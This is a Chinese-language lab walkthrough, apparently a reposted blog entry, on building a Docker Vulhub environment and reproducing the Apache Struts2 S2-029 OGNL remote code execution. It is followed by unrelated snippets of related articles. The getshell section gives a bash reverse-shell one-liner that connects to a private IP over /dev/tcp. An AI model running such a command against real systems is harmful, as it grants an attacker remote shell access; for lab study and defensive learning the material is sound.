框架漏洞-->Struts2 Docker_Vulnhub搭建

来浅浅的讲一下Struts2漏洞

目录

1.Docker_Vulnhub搭建

2.Struts2

3.Struts2的框架特征

4.S2-029-->Remote Code Execution

5.漏洞复现

1.RCE

2.Getshell


1.Docker_Vulnhub搭建

因为我用的是Linux,所以我选择直接搭个docker,这里我建议先换个源

vim /etc/apt/sources.list

我用的清华源

deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

换完之后记得更新一下

sudo apt update

然后就可以装我们的docker啦!!!

sudo apt install docker.io

然后就是安装docker-compose

sudo apt-get  install docker-compose

下载vulnhub

git clone https://github.com/vulhub/vulhub.git 
//如果上面这个太慢的话,可以试试下面这个wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zipunzip vulhub-master.zip

然后就是开启docker环境

sudo systemctl start docker

 然后可以去查看一下

然后今天我们要复现的 s2-029在vulnhub里面没有,所以需要我们自己去拉取

docker pull medicean/vulapps:s_struts2_s2-029

 然后去启动漏洞环境

docker run -d -p 8081:8080 medicean/vulapps:s_struts2_s2-029

然后你就会发现网卡信息那里多了一栏

然后我们用本机的环境去访问 kali的ip:8080/default.action

访问成功,环境搭建成功

2.Struts2

Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联
网、政府、企业门户网站。用的java语言开发 
漏洞介绍:
Struts2漏洞是一个经典的漏洞系列,根源在于Struts2 引入了OGNL表达式使得框架
具有灵活的动态性 。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前
困难很多,从实际了解的情况来看,大部分用户早就修复了历史的高危漏洞。目前在
做渗透测试时,Struts2漏洞主要也是碰碰运气,或者是打到内网之后用来攻击没打补
丁的系统会比较有效。

3.Struts2的框架特征

Struts2 框架特征
查看被测应用系统的源码, URL 接口地址以 .action ” “ .do 结尾或地址中包含 ! 符号,或者在被测应用的服务器上查看 应用所在目录/WEB-INF/lib/下的jar文件,若存在struts2-core-
2.*.**.jar或xwork-core-2.*.**.jar格式的jar文件 ,则需检测是否 存在Struts2 远程代码执行漏洞。

4.S2-029-->Remote Code Execution

rce的原理

Struts2的动态性在于ongl表达式可以获取到运行变量的值,并且有机会执行函数调用
。如果可以把恶意的请求参数送到ognl的执行流程中,就会导致任意代码执行漏洞。

5.漏洞复现

1.RCE

这里我就直接用漏扫了 

于是就对应的去利用

看见是能成功rce的!!!

2.Getshell

能不能getshell呢,废话,都能rce了,肯定能getshell啊!!!

先去开一下netcat

然后就是反向连接弹shell了

/bin/bash -c   "bash -i  >& /dev/tcp/192.168.246.1/9191 0>&1 "

这样就是成功的getshell了!!!

当然了,这个有没有手工的poc呢?? 肯定是有,不过很长 

最后养成好习惯,关闭docker环境

docker-compose down  //如果是上面的环境的话,就要走以下命令
sudo systemctl stop docker
sudo systemctl stop docker.socket
sudo systemctl status docker //最后查看一下环境是否关闭

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/509433.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

绝对定位的一些特性;CSS绝对定位absolute

想要实现如下效果: yellow区域是宽度是100%;想要一个按钮在右侧,且和蓝色区域右侧对齐 思考 毋庸置疑,按钮肯定得使用绝对定位,但是绝对定位的定位位置肯定不能写死,因为这个是个公共组件,黄色…

WPF TabControl 滚动选项卡

文章目录 前言相关链接TabControl是什么东西通过模板副本查看样式IsItemsHost如何修改HandyControl的TabControl 滚动 总结 前言 我原本以为是很简单的事情,但是没想到实际做起来还是有很多的基础知识点的。 相关链接 WPF 控件库——可拖动选项卡的TabControl Tab…

鸿蒙App开发新思路:小程序转App

国家与国家之间错综复杂,在谷歌的安卓操作系统“断供”后,鸿蒙系统的市场化&独立化的道路便显而易见了。 2024年1月18日,华为宣布,不再兼容安卓的“纯血鸿蒙”--HarmonyOS NEXT鸿蒙星河版最终面世,并与2024年Q4正…

CPython:比较运算符串联的差异

相关阅读 Pythonhttps://blog.csdn.net/weixin_45791458/category_12403403.html?spm1001.2014.3001.5482 在C语言和Python中,比较运算符是一个常用的运算符,但这两种语言在某些情况下对比较运算符的解析缺存在差异,本文旨在明确这一点。 P…

正则表达式应用

应用一:去掉特殊的行,保留想要的行 文档中包含如下内容: 去掉特殊的行,只保留图像名的行。"0.\d{1,2}" ^\s*$\r\n去除后结果 去除没有内容的行 去除结果 总结

LeetCode Python - 31.下一个排列

目录 题目答案运行结果 题目 整数数组的一个 排列 就是将其所有成员以序列或线性顺序排列。 例如,arr [1,2,3] ,以下这些都可以视作 arr 的排列:[1,2,3]、[1,3,2]、[3,1,2]、[2,3,1] 。 整数数组的 下一个排列 是指其整数的下一个字典序更…

LL-34/DO-213AC/MiniMELF/NSMC/DO-213AB封装

最近在找几个特殊的二极管封装,能查到资料太少了,如同大海捞针,好不容易找到了一些资料,把相关信息总结一下. 1、LL-34/DO-213AC/MiniMELF/SOD80这三个封装尺寸很接近 LL-34以c5345992为例 MiniMELF以c131658为例 2、NSMC这个封装…

学习python时一些笔记

1、winr 命令提示符的快捷键 输入cmd进入终端 2、在终端运行桌面上的python文件 cd desktop(桌面) cd是进入该文件夹的意思。 cd .. 回到上一级 运行python时一定要找到文件的所在地 输入python进入,exit()退出%s字符串占位符%d数字占位符%f浮点数占位符input输…

理解CAE

用于自监督表示学习的上下文自动编码器 摘要 我们提出了一种新的掩模图像建模(MIM)方法,上下文自编码器(CAE),用于自监督表示预训练。我们通过在编码的表示空间中进行预测来预训练编码器。预训练任务包括两个任务:掩模表示预测—预测掩模块的表示&…

Cannot resolve plugin org.apache.maven.plugins:maven-resources-plugin:3.3.0

问题现象: Cannot resolve plugin org.apache.maven.plugins:maven-resources-plugin:3.3.0 Try to run Maven import with -U flag (force update snapshots) Cannot resolve plugin org.apache.maven.plugins:maven-resources-plugin:3.3.0是因为配置的maven仓库…

网络编程:基于TCP和UDP的服务器、客户端

1.基于TCP通信服务器 程序代码&#xff1a; 1 #include<myhead.h>2 #define SER_IP "192.168.126.121"//服务器IP3 #define SER_PORT 8888//服务器端口号4 int main(int argc, const char *argv[])5 {6 //1.创建用于监听的套接字7 int sfd-1;8 sf…

AJAX 学习笔记(Day3)

「写在前面」 本文为黑马程序员 AJAX 教程的学习笔记。本着自己学习、分享他人的态度&#xff0c;分享学习笔记&#xff0c;希望能对大家有所帮助。推荐先按顺序阅读往期内容&#xff1a; 1. AJAX 学习笔记&#xff08;Day1&#xff09; 目录 3 AJAX 原理 3.1 XMLHttpRequest 3…